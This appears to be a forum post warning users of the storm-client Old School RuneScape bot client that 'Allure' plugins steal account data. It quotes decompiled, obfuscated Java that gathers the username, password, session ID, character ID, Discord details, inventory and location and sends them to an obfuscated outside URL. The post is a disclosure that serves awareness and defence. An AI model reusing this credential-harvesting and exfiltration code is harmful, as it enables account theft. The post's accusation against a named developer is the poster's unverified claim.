Dreamlike2155
Newcomer
- Joined
- Oct 5, 2025
- Sythe Gold
- 19
- Messages
- 20
Allure Strings In Plugin
https://i.imgur.com/y75QEqk.png
Cannot paste the whole code in here - will be sent in replies below.
If you keep looking in CVfaZobuHr (HttpRequest) you will see the url on line 2438
Code:
CVfaZobuHr.KpoctLMJPQ = new char[]{'h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'l', 'l', 'u', 'r', 'e', 'm', 'e', 't', 'r', 'i', 'c', 's', '.', 'c', 'o', 'm', '/', 'b', 'o', 't', 's', '/', 'a', 'p', 'i', '/', 'a', 'p', 'i', 'v', '1', '.', 'p', 'h', 'p'};Now if we go back to yAobTmJHvE (SendRequest) in function NKqLYNrXpL you will see the RequestData class wHRCyGzrUO (RequestData).
Now if you keep digging you will see that xKgUsRmWLA which is what defines the RequestData field is in the onPostClientTick on line 970.
Code:
this.xKgUsRmWLA = wHRCyGzrUO.ARjxawVXtG(this.getName() + " " + this.klUeDSENKx(), this.getPluginMetaData().getSubscriptionId(), (Hashtable<WorldPoint, Integer>)var3_3 /* !! */ , this.XQNTvuiyAl);Then if you look on wHRCyGzrUO (RequestData) you will see the method
Code:
public static wHRCyGzrUO ARjxawVXtG(String string, Long l, Hashtable<WorldPoint, Integer> hashtable, boolean bl) {
Object object;
Object object2;
Object object3;
ArrayList<ZLvEHhJIlW> arrayList;
ArrayList<dIfEdLanIh> arrayList2;
Long l2;
String string2;
String string3;
String string4;
int n;
int n2;
int n3;
int n4;
int n5;
Long l3;
String string5;
wHRCyGzrUO wHRCyGzrUO2;
wHRCyGzrUO wHRCyGzrUO3;
Object object5;
Object object6;
Object object7;
ArrayList<ZLvEHhJIlW> arrayList3;
ArrayList<dIfEdLanIh> arrayList4;
IPlayer iPlayer;
block11: {
Hashtable<WorldPoint, Integer> hashtable2;
String[] stringArray;
block10: {
block9: {
iPlayer = Players.getLocal();
stringArray = wHRCyGzrUO.WJrVblYzOl();
arrayList4 = new ArrayList<dIfEdLanIh>();
arrayList3 = new ArrayList<ZLvEHhJIlW>();
object7 = Equipment.getAll().iterator();
while (object7.hasNext()) {
object6 = (IItem)object7.next();
object5 = JrRklebGob.WmeXvPTXBD(object6.getId());
try {
arrayList3.add(new ZLvEHhJIlW(object6.getId(), object6.getName(), wHRCyGzrUO.uWGGrFaQcr((BufferedImage)object5), object6.getQuantity(), object6.getSlot()));
if (stringArray != null) break block9;
if (stringArray == null) continue;
}
catch (RuntimeException runtimeException) {
throw wHRCyGzrUO.a(runtimeException);
}
IibytVzaLc.dttMUntdLR(new IibytVzaLc[2]);
break;
}
object7 = Inventory.getAll().iterator();
}
while (object7.hasNext()) {
object6 = (IInventoryItem)object7.next();
object5 = JrRklebGob.WmeXvPTXBD(object6.getId());
arrayList4.add(new dIfEdLanIh(object6.getId(), object6.getName(), wHRCyGzrUO.uWGGrFaQcr((BufferedImage)object5), object6.getQuantity()));
if (stringArray == null) continue;
}
object7 = zzxQHifDWd.SdNMNxszGH();
object6 = new ArrayList();
try {
hashtable2 = hashtable;
if (stringArray != null) break block10;
if (hashtable2 == null) break block11;
}
catch (RuntimeException runtimeException) {
throw wHRCyGzrUO.a(runtimeException);
}
hashtable2 = hashtable;
}
for (Map.Entry object42 : hashtable2.entrySet()) {
((ArrayList)object6).add(new mXyVQgtBKy((WorldPoint)object42.getKey(), (Integer)object42.getValue()));
if (stringArray == null) continue;
}
}
object5 = Static.getWrappedClient().getUsername();
String string6 = Static.getClient().getCharacterId();
String string7 = Static.getClient().getPassword();
String string8 = Static.getClient().getSessionId();
try {
wHRCyGzrUO wHRCyGzrUO4;
wHRCyGzrUO3 = wHRCyGzrUO4;
wHRCyGzrUO2 = wHRCyGzrUO4;
string5 = string;
l3 = l;
n5 = Static.getClient().getWorld();
n4 = iPlayer.getWorldLocation().getX();
n3 = iPlayer.getWorldLocation().getY();
n2 = iPlayer.getWorldLocation().getPlane();
n = 0;
string4 = iPlayer.getName();
string3 = Client.getDiscordId();
string2 = Client.getDiscordUser();
l2 = Client.getUserId();
arrayList2 = arrayList4;
arrayList = arrayList3;
object3 = object7;
object2 = object6;
object = bl ? object5 : "";
}
catch (RuntimeException runtimeException) {
throw wHRCyGzrUO.a(runtimeException);
}
wHRCyGzrUO3(string5, l3, n5, n4, n3, n2, n, string4, string3, string2, l2, arrayList2, arrayList, (String)object3, (ArrayList<mXyVQgtBKy>)object2, (String)object, bl ? string7 : "", bl ? string6 : "", bl ? string8 : "", qDqmDoJJUU.KoiyzsDVIt());
return wHRCyGzrUO2;
}Now take a look at line 1382 - 1385.
Code:
object5 = Static.getWrappedClient().getUsername();
String string6 = Static.getClient().getCharacterId();
String string7 = Static.getClient().getPassword();
String string8 = Static.getClient().getSessionId();Now this is not just Allure Account Builder it is all of the Allure plugins and Burak is fully aware. He was questioned about it and he claimed it was a complete fabrication...
He is already banned on Sythe but at least this can be awareness to everyone using storm-client. Sythe has always been know town center of Old School Runescape maybe you guys can help let it be known so no one gets hacked.
I can also provide the jar of the whole entire plugin if it gives more context.
Last edited:
